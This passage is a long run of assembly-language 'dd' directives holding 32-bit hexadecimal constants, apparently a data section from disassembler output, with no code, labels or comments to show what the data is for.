		dd 3D581455h, 8C5F9030h, 4CC62AF1h, 0ED4B90DFh,	69BEED16h
		dd 0DF3FD96h, 0D4E188CCh, 0FA3D8F40h, 666BB5EBh, 919BA6C9h
		dd 0E86FD8A1h, 0C0160C8Eh, 0FCD24959h, 64214A4Ch, 5F9096C5h
		dd 7A616A83h, 0DC08FAEDh, 18D7A24Dh, 72FAE2FDh,	0C6B6DEB6h
		dd 13C37F87h, 0E779DFEFh, 128D9478h, 8CC4AC1Bh,	0DBF1B38Fh
		dd 0ABB8F617h, 40142004h, 0FE17EBD9h, 0DB71029h, 21E92720h
		dd 9BF88E69h, 58F60DA1h, 0D36CC17Ch, 804877C0h,	0B9330F08h
		dd 763FB6ABh, 8D2A2971h, 0AA544092h, 0EF46197Ch, 7B137C99h
		dd 245678C3h, 5440971Ah, 0F75600E4h, 2B8828D0h,	0EC2D7B00h
		dd 889A5D78h, 3AE5C165h, 87513AFCh, 0B5EED68Ch,	78ECB100h
		dd 543CAB86h, 0FCAFB5F9h, 6BD6705Eh, 996A2E02h,	4CB90907h
		dd 48CDDBEEh, 0E7938E5Ah, 3FCA64B4h, 0DD87ABEAh, 47CD852h
		dd 98E4779Bh, 1D1614C3h, 497D1BCAh, 0C25173F1h,	0B48AE911h
		dd 7BF8569Eh, 5D0E7EEDh, 74E04794h, 0E4C333EEh,	0CC0E9F85h
		dd 0B1A13CFBh, 4B1B62ECh, 0E1D4966Eh, 107FFBB1h, 0DD4FF960h
		dd 20519F38h, 8AFBE71Eh, 0EFFC3348h, 8DA8125Fh,	34EA3DFh
		dd 18020EEh, 0E4DB8CE4h, 0F2C077B6h, 4A1A2463h,	3DD7BC71h
		dd 8A5BE5F1h, 0C428AEC2h, 0CD0026E5h, 0FBFBFD83h, 0F2DD3756h
		dd 37DD97F6h, 8B1874ADh, 9DF77A56h, 13D9B4B8h, 59802ED8h
		dd 6A74440Eh, 0E5AC66DEh, 8366F9E7h, 883DFDB9h,	5F641425h
		dd 0B614655Ah, 9A97F87Eh, 80BB77F3h, 0BC6369E9h, 53B9FCBCh
		dd 58C8157Ch, 0ACE59E48h, 0D4D4136h, 2C19543Eh,	1D04D172h
		dd 0D1DB6E5Bh, 92EBD9ADh, 7A8B0319h, 893AA0B3h,	0FC5CAF02h
		dd 227DE5C2h, 3B411AD3h, 86D33E5Ch, 540AA1BCh, 6395C7C6h
		dd 977CD540h, 2AE1EA6h,	0DD559D5Bh, 0C5B1C67Ch,	3F070C16h
		dd 9C8F90h, 59FA8134h, 39772F86h, 4AF5490Dh, 0C69CF8A9h
		dd 48B2F30Eh, 20FC7F9Dh, 6B47DE1Ch, 6FAC1D8h, 0E232188Bh
		dd 536BA6E6h, 14137387h, 999F61F6h, 41DBCED8h, 0EA4B3C0Ch
		dd 4D12DC0Fh, 0D0FA94E8h, 0E93D40E3h, 9CA88C9Dh, 0BC9B684Bh
		dd 0FB670457h, 0EAF898F5h, 0A36996C5h, 0FE554A3Dh, 17BE8FE8h
		dd 0EA75CD14h, 0B59D3FC9h, 0AC11350Ah, 58C9EF12h, 86200C02h
		dd 6F1FF4AEh, 2F6F4DDEh, 0F5F68541h, 1E9AD65Fh,	21F66957h
		dd 6E0CC074h, 3B85910Ch, 46D90429h, 0E3ADB33Dh,	5EC518B7h
		dd 2979B21Bh, 0F16E872Dh, 0D58D7E4Dh, 2B162C28h, 0C7518FFFh
		dd 0A68E5D90h, 9559559Dh, 746AEC1Ch, 7E817B60h,	0AAD77AD8h
		dd 0D5E0DB18h, 3DF2061Ah, 0E757BA5Fh, 2111DC23h, 0BA1C9F3Dh
		dd 2DF8BDD9h, 0B8FCA2B5h, 66FFC5EAh, 0C9196117h, 0B70EBEB8h
		dd 0F27741C2h, 622E9179h, 1F9C42D7h, 8852C603h,	6924F104h
		dd 0CF7C094Ah, 0BC59D821h, 902FB38Ch, 7EA2BEC5h, 0C3200678h
		dd 3522640Ah, 0D8611840h, 0BD2FD8A8h, 68BEEDB4h, 1A5A586Fh
		dd 1F4594E4h, 3B98FCC7h, 0C5D2E06Ch, 75F08CA2h,	1AC6A25Bh
		dd 0F595FB7Ch, 8EFFCF09h, 6C9BCD6Fh, 789C0C19h,	0F8AA7F38h
		dd 4F3D9272h, 0C37188DAh, 600F3A9Ch, 4A24648Ch,	0FB21199Ah
		dd 0E24FA30Fh, 4CB8B5E3h, 0BBA79E34h, 0AD4F7BE2h, 93CE9AAAh
		dd 6E6F928Dh, 4D960111h, 5AE19905h, 0AC1669EDh,	0E6B47E11h
		dd 0F393B735h, 157938E0h, 59410D67h, 33D32ED2h,	0F27A167Ch
		dd 6CAEEEC3h, 96E741A6h, 3D08DC0h, 4B3F9008h, 0CD6CD93Eh
		dd 5F614400h, 1946AE28h, 0F1000F55h, 535FFE1Eh,	0F04A6D37h
		dd 0B27F173Fh, 0B6D62004h, 933AB653h, 69654A8Ch, 3BC6CD35h
		dd 639DA11Bh, 5EDDFD33h, 2369605h, 57DCDFCFh, 17C52997h
		dd 8455DA3h, 11A469CFh,	0B380C9C0h, 0B62E6965h,	207A5454h
		dd 48CD28D4h, 0A683868h, 3E1D2DACh, 5F4B5D4h, 0D2D6E625h
		dd 63729F02h, 5D3F9054h, 8E02DEF2h, 0BBF3A7C8h,	0E0D62FDCh
		dd 0A7B0D236h, 0BA46CB39h, 110D853Dh, 0BCF2CCB4h, 0F2A355C7h
		dd 0B9F66B38h, 8A8C7582h, 0B865DA37h, 0A3996C8Dh, 0A3EA4977h
		dd 0D6753EE8h, 667A6B09h, 0D4848B5Ch, 0EADC6F7Bh, 121FF0EEh
		dd 0A2EE920Ch, 0A02C835Ch, 0EA8CC17Ah, 97A54151h, 0C7820FBBh
		dd 0CC11F82Ch, 0D7EF5F65h, 37A0C453h, 4D81EAFDh, 5A9F25EEh
		dd 0CAAEDBE6h, 97400BCCh, 6225D161h, 66392DE5h,	7D63344Ch
		dd 5B8A6EF8h, 33643D03h, 19C2A507h, 0DE7624A8h,	0AB599EB0h
		dd 760B3928h, 0B8D609D7h, 5BFCB2F4h, 0A05C8414h, 0B47738E2h
		dd 0BFD9A9D6h, 409591F0h, 49602825h, 7A1E71D8h,	0FF3CEBDFh
		dd 0B55AA012h, 0FF62930Dh, 465F59FDh, 9BB9AFB4h, 0DDAA8D6h
		dd 0DBA531Ch, 3919A55Dh, 36DBD73Bh, 0E6F4F39Fh,	7189A5Ch
		dd 2270812Fh, 0D1D78982h, 0F33D7C6h, 5F7B49FBh,	0C784E4B3h
		dd 62A7BDD8h, 6729AFAAh, 8D7D989Ah, 0FB140DADh,	213298C1h
		dd 0EB22A845h, 0E5E48AA1h, 0C7AC9EECh, 0C86E5F63h, 0AFA1DCF7h
		dd 6F291104h, 4C0425EAh, 48976D8Bh, 3E3097C5h, 396BFEF8h
		dd 5D304053h, 972D0FFBh, 0D2D5AFF1h, 8C8C0BDCh,	24E33234h
		dd 5D38A4EAh, 0C62D46FBh, 65C062CBh, 0A6649598h, 3F2BD7D0h
		dd 0D243C2E4h, 0D7585CA2h, 69D4DF34h, 535AC5D4h, 76465A9Fh
		dd 7B1FC53Eh, 81B290F0h, 0B80D5A09h, 4E370015h,	2E54CF7Dh
		dd 2760B361h, 6122731Dh, 0E95C7ACEh, 208A2CD9h,	388036F1h
		dd 9A12F720h, 5C1CF0E0h, 2D925E85h, 0BD2CFFDFh,	235B1512h
		dd 7F09E190h, 7C3818D8h, 0D8A2BE8Ch, 3E8C23D4h,	44489DD2h
		dd 0F359E18h, 0CB42602Fh, 65297DE6h, 50057C09h,	0BDC8C66Bh
		dd 541749EEh, 0A0644156h, 95AF8223h, 0AA94EB42h, 0D2E0198Fh
		dd 0AF8FDDA1h, 0CDDD303Ah, 0EFC20DC3h, 0EEA3A498h, 14789F2Ch
		dd 0E85A1008h, 77869086h, 4CC54E7Bh, 6C61E8E8h,	2744B970h
		dd 0B89731DEh, 64868B9Fh, 0F072D72Dh, 23BE3A9Dh, 8E5E005Ch
		dd 4905DC87h, 8DB4D3F5h, 25F47582h, 33109CA4h, 6B059CB6h
		dd 0EDCF445Dh, 9FD9A827h, 4B9CA8D2h, 0BE85179Eh, 755F1D09h
		dd 0AB52182Ah, 0F39F8975h, 40628B9Ah, 0FF9CFAA6h, 15F0A8B0h
		dd 2D405B52h, 0E3604BC3h, 0EC8921F6h, 7683FEDDh, 0FC2B4E68h
		dd 7D67FA5Fh, 0B9386A1Bh, 0CB762664h, 0B729C3C0h, 0E83AA7C5h
		dd 927F775h, 0D77EDC80h, 4213CBBh, 47DAEF55h, 0D0D745EAh
		dd 0A081CE59h, 93BF05FBh, 1E681EB5h, 9D257F75h,	9BA8D45Fh
		dd 0AF7365C1h, 0F7BAFF99h, 0A33097B6h, 93EEF68Dh, 8A914583h
		dd 0EDB1F46h, 26E16F2Ah, 0FB7A0161h, 83FCD330h,	74A2CCF4h
		dd 0B5A8415Bh, 166025DEh, 0CA88431h, 0ACFD9E77h, 0F0178Bh
		dd 0E25DDB85h, 0B3E60B67h, 0A13CE0DAh, 17ABBA38h, 38C683C5h
		dd 7B564DF3h, 0D3451488h, 0DD964019h, 0B1200D8Ch, 0D7CA38B4h
		dd 49DBCBBEh, 0E41EA5E6h, 9AF3EACDh, 0B1F29409h, 45DF8B13h
		dd 0FF7C30AAh, 67E41890h, 72DAAE8Ch, 5CB85E22h,	0A8341A17h
		dd 3B72F3D5h, 0BECA5591h, 777774B1h, 0D771D064h, 600BF512h
		dd 8BABE17h, 0E0294DB9h, 23D7BAEFh, 1F7FD71Bh, 58DA5214h
		dd 0F5D8D5E0h, 61BE79EFh, 46DEE7A4h, 98EC6B55h,	2118A72Ch
		dd 7DF7DCB2h, 1C1944C4h, 0D327014Eh, 10562F80h,	3CFE5FB7h
		dd 0C5CFC619h, 23CC0F13h, 0D216CD9Eh, 9A0CC1E1h, 0A7BCF5BFh
		dd 0B3A0382h, 0DECE6F39h, 1D7786DEh, 4E1D2610h,	0E1DCCA0Eh
		dd 9D579743h, 30540F94h, 959D461Ah, 0BBCE9DF3h,	0E8237E91h
		dd 0A4C28579h, 0F7711CCCh, 6293C40Fh, 4FB9674h,	18670418h
		dd 94370839h, 128AEC25h
		dd 5BC4C5AAh, 0CD7E8CB7h, 39AF0F6Ah, 0CC129C8Dh, 0ACF61A39h
		dd 0AA605FD3h, 5C33D4F8h, 48DFAAF4h, 3ACEF89Bh,	2E973A52h
		dd 95E89D99h, 66F3844h,	1912A207h, 0AFE3591Bh, 5DB22C5h
		dd 0B3B164FDh, 3DEBD6B4h, 6E21320Eh, 262052Ah, 0BE02801Ch
		dd 0FB00939Ah, 0C5EF02FDh, 0CFEC675Ah, 0C61E3548h, 0C0506132h
		dd 0D523B577h, 6951AC21h, 0C541E6A2h, 370538FCh, 95F3C295h
		dd 62199345h, 7BDAD7CBh, 27C55507h, 0B7639C2Eh,	0B64F5577h
		dd 5BC88F10h, 0E94F6DC3h, 49EDE319h, 670E4C6Dh,	82BF11Fh
		dd 79C51DBBh, 5D50237Ch, 933C1B7Eh, 0A7F296B9h,	2081DDBh
		dd 53AA2639h, 520518E9h, 91728E78h, 0E0D2CA8h, 920BB10Dh
		dd 0E4D3BC56h, 0D05C712Ch, 6A5309D2h, 5480F867h, 0F07167E7h
		dd 6D523CB7h, 0C35980EEh, 72E5C01h, 6A0896C9h, 4E3FFC49h
		dd 9949B536h, 0D4054C3Bh, 0B0CD1539h, 5A428CCEh, 9D61FAEAh
		dd 9AFA9DA4h, 5FE38CE6h, 3F87B3BEh, 0E8531A81h,	9DF093BEh
		dd 39FDC75Bh, 4F1C6D72h, 5BA61F6h, 0B7AD76h, 5CA4902h
		dd 6ED0D4C5h, 2F9DB9D8h, 52360E93h, 48814475h, 0BA1E4BDBh
		dd 1A1413A2h, 3948D774h, 4700EB8Eh, 6972D4C5h, 393B03FEh
		dd 33B6746Fh, 466B216Ah, 776F8D7Eh, 0B24EDADh, 3DC9016Fh
		dd 24C9D399h, 0EEE6D3DFh, 0F7C3F927h, 0AB18784h, 0E7C8D18Ah
		dd 1ABADDB8h, 0F6CEC779h, 367456C0h, 739BB894h,	0DA19005Fh
		dd 0FCF32F8Ch, 29B097A7h, 50A2B4F1h, 26210CE8h,	6547854Fh
		dd 0FF4E29BEh, 1142CD21h, 0BC0E54C6h, 70BA4C81h, 3E6B3357h
		dd 203D3FCEh, 9A68C35Eh, 7EF9B4FFh, 8A810A93h, 1689EC92h
		dd 8D831EBh, 0DD8C4538h, 0A8519F04h, 6D3628Dh, 847B9C7Bh
		dd 4DBA933Dh, 0F05C4CC8h, 0E808531Dh, 0A02145B1h, 0E5ACC65Bh
		dd 5E8D7FECh, 7C3BF2ECh, 0DF93080Fh, 70F4D751h,	713DFA24h
		dd 0E704709Dh, 0E63CB1BDh, 4716E767h, 95F0420Dh, 3D70B8EDh
		dd 607DD00Fh, 39EB90DCh, 2AF8686Fh, 48902840h, 0A546BBCFh
		dd 82E9A3D2h, 0E5BE20F5h, 0FF2060A2h, 82BCA11Ah, 38781C2Bh
		dd 61A7C3A0h, 4F29CE0Ah, 59DC9747h, 0C1349D53h,	0A8F756C7h
		dd 8184C482h, 169BE99h,	447E819Ah, 0E39C6F2Dh, 0FE39C839h
		dd 942D71B8h, 7CCA0EEFh, 8CCFE162h, 94E8767Ah, 0B57ED4D2h
		dd 55BED46Dh, 8D0B7178h, 3B7FE9A7h, 7B1B5ACAh, 0F78ECA9Ch
		dd 3DF55684h, 0AE40A13Ah, 0A1354975h, 292CF99Ah, 0EDA4B8E2h
		dd 0C7639C47h, 0ADD76BB4h, 0BEFEAAEFh, 1B0B388h, 8BEE1A7Eh
		dd 0DFE21294h, 0C48B85CCh, 7DCD0C77h, 0EADEF8C9h, 0FD64D119h
		dd 7712E007h, 0F9883EFEh, 0D160ADF1h, 71D36A37h, 0F92D9B77h
		dd 8551D7D0h, 0EFCE8D6Eh, 6890A5CFh, 0BA436A2Dh, 446095E8h
		dd 7C22022Bh, 0EC4EF91Eh, 7EE3874Fh, 0C1BBB737h, 1C8E704Fh
		dd 35ADF307h, 93278FCAh, 7465895Bh, 1E82A17Dh, 7DFAAE25h
		dd 328F14Ah, 7B181108h,	62472354h, 835E7D17h, 32DDA28Bh
		dd 43B64047h, 0E3DE864Bh, 0F1E94EBh, 86D86D17h,	758AFDD9h
		dd 2C5D9FC3h, 0F951A111h, 554E671Ch, 834EA4EDh,	8C665C2Fh
		dd 1CAC68A9h, 0ACE05B92h, 4DE8017Dh, 0E05B3736h, 8C0C606Ch
		dd 8DC010D7h, 2F4DC35Dh, 0C96201A8h, 0A54B3102h, 0C7C036DAh
		dd 0D4872BA0h, 81EDA76h, 408DE0B8h, 0FBDDF7D3h,	1FF5EA2h
		dd 82A2A35Fh, 0F1448049h, 192282A1h, 123B25F8h,	6F92B9Ah
		dd 705EB9BCh, 0E2B908CEh, 0BE1E7ABBh, 75BEC997h, 87791E33h
		dd 19CFC3D7h, 0FBEE3D35h, 0A9BEAD79h, 0ADBED94Eh, 1433B995h
		dd 451E4A22h, 9A51013Eh, 0F52C445Ah, 0BB1B7F49h, 5F8171F7h
		dd 0F54ADA0Bh, 37404DDEh, 676BB4FCh, 0A4BA07EAh, 32BB580Ah
		dd 149B74E5h, 0E35C4037h, 0A0EAE1C6h, 6E0B4D3Ch, 4C47FF37h
		dd 5F217755h, 2714905Dh, 0E377C5DAh, 8CA77E67h,	470F85D9h
		dd 8D66C9D6h, 0F91999B3h, 216BF8C6h, 5E2AB1D4h,	17997DA2h
		dd 0BA7B2000h, 0E342F759h, 0A0100846h, 0F6FDC16h, 22677C21h
		dd 0B2C3F9B9h, 2637DB32h, 2FA9E398h, 0CE16FCD9h, 5B50CDBAh
		dd 8412C6B8h, 0ADE9E878h, 0A9FC70C3h, 0B0FCFD6h, 0FD827361h
		dd 4B330154h, 8881670Bh, 359886D3h, 3BFA0CD3h, 878C7D77h
		dd 5B41476Bh, 7FD360E0h, 4804C1DAh, 7BD2EA80h, 468CAA83h
		dd 5BC67EF4h, 3B8B3D66h, 0C6DCE5EAh, 6B2FF832h,	801A0734h
		dd 81B372F6h, 0B2B8470h, 7A1D328Fh, 99C8EE90h, 0D8D7E82Ah
		dd 841DD7B4h, 80E670AAh, 0E262ADCEh, 330FFC30h,	56DF4DE0h
		dd 78AF3A30h, 78E9A43Ch, 4649C499h, 0E2EEFB94h,	0D515DA02h
		dd 1660F891h, 0EC0FB7FFh, 14E0C442h, 3B1C423Dh,	2926EE4Ch
		dd 9384BE3Eh, 270CF9F1h, 0CA036E98h, 0A90C77AAh, 6F2D6948h
		dd 2250C22Ah, 7F90D25Fh, 8CFBC4F4h, 0BC3DC652h,	849403C3h
		dd 0FD26C21Fh, 4170E084h, 7B13F7EDh, 8AE02C96h,	2F13EB08h
		dd 0C0CE1A47h, 0E78627BEh, 409E2995h, 48662EFCh, 6804F099h
		dd 769F12FDh, 0C282A32Ch, 0FABCDD18h, 0F743F8B3h, 0C1E6D3EBh
		dd 4C20B958h, 4CC63080h, 687580F7h, 24C40698h, 0E9208161h
		dd 3F01C17Dh, 0FB03720Eh, 0BF829510h, 98559B69h, 0A633258Eh
		dd 67C7BC49h, 0C4FBA561h, 0BBD3B2ABh, 8DFD18FEh, 4F991E03h
		dd 0CECEFCFEh, 267091B1h, 4C51A794h, 8BE207D1h,	0ED1ADE6Ah
		dd 46C6D8D4h, 1AAAF6F2h, 600192D3h, 5C93293Bh, 67076E38h
		dd 0E577D10Fh, 0A849F1BAh, 0E3E91353h, 0A19B83B9h, 89B1BBBEh
		dd 0B586CD76h, 8A04B61Bh, 95812A7Ch, 0BDD1B367h, 0EEE29F4Fh
		dd 0CEFBC6BAh, 0CE38FD29h, 3AB56E74h, 821925A0h, 0A3F9C0F5h
		dd 0EAEF1AD2h, 0E4E540ACh, 2803B830h, 81A1F80Bh, 3E3EC89Ah
		dd 9C834863h, 8FCA2A3Eh, 0DCC0B07Dh, 0BB32849Bh, 0E4757C5h
		dd 0E713F942h, 49D8CE46h, 0C68CD575h, 378BDA75h, 0EDD51E2Bh
		dd 47754623h, 858F860Fh, 5862CB5Dh, 5825C685h, 21C87583h
		dd 97BC195Ch, 1217FAFEh, 548AE2A5h, 491EDC28h, 691D3F0Eh
		dd 9F4AF1ADh, 7EC4F231h, 1C39D2E4h, 0CEB8EF6Ah,	5DB1A2ECh
		dd 0B69B1D7Ah, 1C32105Dh, 6ECB53D8h, 0C52F98B3h, 0F7C61617h
		dd 594DD91Ch, 0DD4DD6B4h, 5AA1136Bh, 0A101E584h, 5EB000Eh
		dd 958B0E8Eh, 429B4487h, 6CFB4002h, 64CD0E2Ch, 665436A8h
		dd 0C84DC3F5h, 0C60DE992h, 9BEA58AEh, 851977B8h, 0C48E9453h
		dd 9994ACF5h, 0E7D3BC6Eh, 201B5124h, 96DC70D3h,	79F29301h
		dd 3B164DC1h, 0E981FE57h, 0E38E07A7h, 0D55B0FBh, 5EA9C7B6h
		dd 2D633556h, 0E8357A1Ch, 0CA56A527h, 20E69026h, 0E2D775E2h
		dd 8EE645B9h, 6239C508h, 0D48A605Fh, 0E1306665h, 68847536h
		dd 0A3FD6485h, 26509DC9h, 8EE788B1h, 0D24845E5h, 0C55C5FC8h
		dd 0F2FA65F6h, 729E73D9h, 72337449h, 78437129h,	85D18D6Dh
		dd 0E12B1A85h, 0FA7E1542h, 8E124725h, 3B974399h, 0C2604251h
		dd 1CC05C09h, 0DAFF3B94h, 0B6EEC2D9h, 0C09CF4E1h, 0F0C0C1E5h
		dd 0CBE12214h, 0CDB9C01Dh, 8668C8D3h, 72F36AAh,	0FABF23F1h
		dd 2BD3CD30h, 301493C4h, 38FD3C7Fh, 0AF4B9F9Ah,	4960C45Ah
		dd 0E6C8DACAh, 0AE6A0B95h, 202487B7h, 6B84363h,	0DEA81091h
		dd 0DA7DAE3Fh, 0F46D66AEh, 68648996h, 0A1D3C2E8h, 575A77B2h
		dd 9885EDF3h, 0A76C9265h, 50BA8D36h, 0F6663AEAh, 0A1280C69h
		dd 42B41AF1h, 8DBD7DBAh, 266C5C2Eh, 507C547h, 0AD7A2310h
		dd 57035F1Fh, 1A129473h, 79FDCE8Eh, 0FCBD4777h,	0C3B58C82h
		dd 0B700598Bh, 0DE016283h
		dd 0C7674E61h, 9B1ABBF4h, 5628D784h, 0CDFAE93Fh, 57997BA4h
		dd 7E374899h, 20B0606Dh, 0C64D1F47h, 0DF1E53EAh, 0E736CD4Eh
		dd 39FD66A1h, 0F07CCC12h, 3B4434DBh, 917EDAA2h,	9513A04Dh
		dd 0D0219266h, 3770B1CCh, 0D7D30236h, 0F7D35E65h, 9B833B06h
		dd 0B1E1C580h, 83119ECCh, 0F1FFBD75h, 59937E49h, 2A8BE593h
		dd 2C366313h, 6ED50D23h, 1E5464BAh, 86982D7Dh, 0D65B9883h
		dd 0F774F18Ch, 3BF33F92h, 4B4086A7h, 0A6882AAAh, 16351D5Ah
		dd 18FDEABDh, 114DCF9Bh, 0F2D0F667h, 1CFEBA86h,	0B375AA41h
		dd 0C2479421h, 91CD62E3h, 0BD4B64D1h, 1BF5FD47h, 0AE32D949h
		dd 32C1B2D3h, 0B35F06DBh, 690399C3h, 6DD194ECh,	0CB51BC9Ah
		dd 71BD6DACh, 82F0B70Fh, 896B5983h, 615D8C22h, 50E95DD4h
		dd 0ACF57BF4h, 55C41E69h, 0C5FDF892h, 59A74B10h, 974673E0h
		dd 66CAB51h, 84DF34C8h,	0B62CC154h, 6133DF73h, 4D40C330h
		dd 0DAB1FAFAh, 54EC0DEFh, 0B44EC2C9h, 1E96A9ADh, 0B63ED572h
		dd 7631EC07h, 0A2570B47h, 0AB71531h, 769344A2h,	0C25B0AE3h
		dd 0B7591792h, 0E98555C0h, 0FA747999h, 3B9A7290h, 0CC24FCABh
		dd 7A223E35h, 0C073D52Eh, 0E35C216Eh, 78E12092h, 2A7F59ECh
		dd 0CE6CF184h, 431D538Dh, 7E45F763h, 8147DDE4h,	0F1E5F101h
		dd 6939A2D9h, 3486AFFBh, 0D423257Fh, 4CAF04E7h,	55C46B72h
		dd 3313E5Ch, 75552BF9h,	6B108101h, 0F4BCEB20h, 665C30BAh
		dd 7A78B970h, 6A2C423Eh, 7D584E49h, 0B9F9BAC9h,	44A02AB2h
		dd 0F7E316BEh, 0CD1CCE02h, 0AC15E993h, 0B885D49Ah, 3BD450D3h
		dd 7ADEB499h, 31D5A54h,	77166BD2h, 0D12B89E1h, 31B38197h
		dd 0D6D98B26h, 9B2AB565h, 0EA3CB203h, 51ECF0A6h, 0AA82DEFBh
		dd 1EFFFA8Ch, 34D64FA3h, 32B68C40h, 89FFEE8Ah, 0E2025891h
		dd 139DE781h, 0E36E2002h, 2F15ACCBh, 105C3623h,	54D84BFAh
		dd 8DC4A682h, 76580CE4h, 0DE8679D9h, 86825F55h,	0C1E95EAFh
		dd 73EC289Ah, 0CA271B9Bh, 0D2A26E84h, 44887AE2h, 0CA510CCDh
		dd 1EF27A66h, 0C913A06h, 76801C1Fh, 0AD3B6A40h,	260C4CA7h
		dd 0E371BB0Dh, 1CDEF048h, 43F97C8Dh, 67C9D16Eh,	0BC6D3846h
		dd 1780650Ah, 0DA259EE1h, 425EB3C5h, 0E69FD376h, 9900CB5Ah
		dd 0B726EC80h, 0E19DCE67h, 25479731h, 0AA9A7717h, 19780151h
		dd 69C6643Ah, 0E2CF1943h, 2DA29E00h, 8D3E17FFh,	0D4E86B5Ch
		dd 7876162Ch, 7DAD27Bh,	0CD1E2183h, 87DBDEC2h, 1C018DA8h
		dd 0ED51CD66h, 0A71B630Eh, 1C68E00Bh, 0FBC1B42Ch, 0CFEEBA87h
		dd 0EF7A36C7h, 227B9F52h, 0FA63D32h, 0C41666DDh, 7058D432h
		dd 0B435B2D3h, 0F4F5B32h, 8FCBE948h, 2015FEB0h,	0CAD70271h
		dd 19694948h, 3A33EADh,	217F09DEh, 0EA13EAF7h, 3255F01h
		dd 224E9E89h, 1E113701h, 5522A011h, 0FBD6ADDCh,	36CB52E0h
		dd 0EB059122h, 0C12861E5h, 0F3CC9ADh, 0BC841AB5h, 0B8AD25ECh
		dd 82F5AC3Fh, 596BAE7h,	0F3EF68D1h, 0B6FD5203h,	0A01C3884h
		dd 0D3523557h, 4AFC6017h, 6620E59Dh, 9C61235Ch,	49760AD3h
		dd 0AC7A40CEh, 0D42C12AAh, 0F64D9A5Bh, 6AEE67B9h, 5EC7B9D7h
		dd 5E4993C5h, 5A684453h, 1A4684B2h, 0DEDC2A65h,	0FCB76ADAh
		dd 476BC32Dh, 0F172D0F0h, 0CFF51B7Ch, 58F34976h, 0E1819616h
		dd 0DE9994Ch, 26D1A365h, 72336432h, 95FD9A84h, 19419774h
		dd 0B23EBD06h, 0A380D341h, 0BA276387h, 949A2D74h, 1863ED9Ah
		dd 0AD320E62h, 112FDC9h, 62CF98E5h, 0C0819818h,	3BF89538h
		dd 37EB07E7h, 0CC03E358h, 7C81F1E3h, 1CCE0B9Ch,	0A359D93Bh
		dd 4B37D411h, 8649825Ah, 0A87893Ah, 5D2C9134h, 29E2C13Ch
		dd 21A8CC4Fh, 0A74DE4B6h, 0E925EB37h, 776CD63Dh, 3FED0D16h
		dd 18F14455h, 84804192h, 0FCBEE5F0h, 62EF2925h,	0ACBFA1D0h
		dd 8FA8924Ch, 33CCA331h, 0C60D134Bh, 93ADA0EBh,	0CBCAE713h
		dd 6E2D374Fh, 71D97953h, 6BF299A5h, 62E79D8Bh, 9ED91444h
		dd 38FA1C2Dh, 77E51F4Dh, 0A1DBD305h, 3C4781E9h,	0F0BBFB6h
		dd 7D79039Fh, 0BDE568F4h, 7C55EB9Eh, 5C5160E7h,	0DB11E19Dh
		dd 3B496538h, 0A571A7FFh, 6E2C1A83h, 0EF454914h, 32CC895h
		dd 1D725E2Ah, 0A3D9AE02h, 0D7BE7ADEh, 0FF453D2Fh, 9A5253BDh
		dd 2AFEEF2h, 9315D401h,	0D3C1EB5Dh, 1C166AECh, 0AF1F422Ah
		dd 76F4136Ah, 0F165AD5Dh, 9A7BE9C9h, 0F71103D5h, 3186BB31h
		dd 3C09336Bh, 89D22BCBh, 7BE599ACh, 7D7B848Ch, 1C04DBDEh
		dd 88B4ABA1h, 0AA9F4DAEh, 0DC3415Fh, 0E57DC0CFh, 4F296784h
		dd 5E94D7E8h, 1C1629A9h, 3C5AD7A8h, 6A0492F1h, 63437ABBh
		dd 11134F9Ah, 2DCE066Dh, 0E0BF1F43h, 8B0A3E71h,	74118FFAh
		dd 0D14C2B82h, 409299EDh, 63FC961Dh, 0A69BB3B0h, 37E0BDF2h
		dd 9D7E6B4Dh, 6CEC535Ah, 90FA2991h, 831CBF9h, 89D3A652h
		dd 60B1161Fh, 0C72D36CDh, 0A03DDDF9h, 8384A751h, 0E257947Dh
		dd 0A46F85F3h, 0C08D85B9h, 0AE03082Bh, 0C3C00BC7h, 33AB678Dh
		dd 2FDD9602h, 8C940C9Ch, 0B0F7BC82h, 6E4CA161h,	0DF938189h
		dd 5BBE0D55h, 8F7C3F86h, 0C18C9645h, 0D986E5E0h, 95BFFF12h
		dd 0DC1C1E32h, 485BA434h, 49F56687h, 34F60091h,	79EB1096h
		dd 5114468Dh, 526B4102h, 0F9493DC9h, 14005CF9h,	0D3F068D0h
		dd 0D2C92437h, 2662BA9Bh, 38EB1323h, 0CD6347ECh, 9219BF31h
		dd 4B71D029h, 0DE549911h, 0CE282FB0h, 4353D729h, 0C66EF97h
		dd 3BC34281h, 0BD3D9083h, 0B357EC45h, 9176BC85h, 565922ECh
		dd 13920049h, 0D3000AE8h, 56688748h, 0AE435CDAh, 65C13A15h
		dd 6B46CFC5h, 5FD39810h, 8BF81050h, 0CDA0DC45h,	742E223Dh
		dd 0F8F518B7h, 0E74CC6D6h, 6A904E17h, 4A4E7947h, 71E883D4h
		dd 0F0D272F1h, 0A9DE4FDEh, 0F23D65C4h, 1B05F592h, 9E85B2B4h
		dd 5E81CD3Fh, 0ED2B0E68h, 0FBBF2377h, 7F674904h, 5CE69F31h
		dd 7C39A5D8h, 0C6FFF2F3h, 1D97FEECh, 6DB63642h,	85294B35h
		dd 0FF37329Ah, 2C0EC590h, 92F33953h, 50635D7Ch,	1984BAD4h
		dd 12F98334h, 19A17AE6h, 5F6CE089h, 9A90BC20h, 34B95C7Ah
		dd 80A11B28h, 60177F1Bh, 5363830Eh, 401E9BB4h, 8C5BFE53h
		dd 18ACE2CFh, 116C5C62h, 2584DBCh, 0E2CB6335h, 411CBE0Eh
		dd 0D6A4AEBFh, 2A4B9CEBh, 91B42296h, 0AB05ECEDh, 5DD7053Eh
		dd 0F03CAE70h, 1B8D479Fh, 0DA4E1D4Ah, 0EB8AC499h, 0AA6E2713h
		dd 0F54BAB73h, 0EAE76C73h, 4F231F8Eh, 0A6E7041Fh, 0A48EC3FEh
		dd 851C766h, 0F0010065h, 0CE074DEFh, 0B0A3A533h, 2D6BD09h
		dd 0A482F8h, 7F223A9h, 0BC280F75h, 63D5A0B1h, 0B58302E6h
		dd 0D512FC46h, 0D1E99A87h, 6D443D0Ch, 42A0B9EFh, 4A2313BAh
		dd 7298F8h, 59A6E435h, 0B83EC4A6h, 2762EE3Ah, 7568E4ACh
		dd 965A5587h, 0B96AFACEh, 401FE9Dh, 0FDDC1548h,	0BE3520Eh
		dd 7A71CA69h, 0BAB92AFAh, 0CC529C54h, 8DDD181Fh, 9F3AAEBFh
		dd 0E8EEFB8Eh, 73046687h, 0AE39EEC1h, 298C47F0h, 0D3F7A346h
		dd 96CE9FFFh, 0C1497E1h, 30E8405h, 6348F97Eh, 80795CD0h
		dd 9BBC0034h, 606E78C1h, 95F75DB1h, 745B6CF4h, 68C5C006h
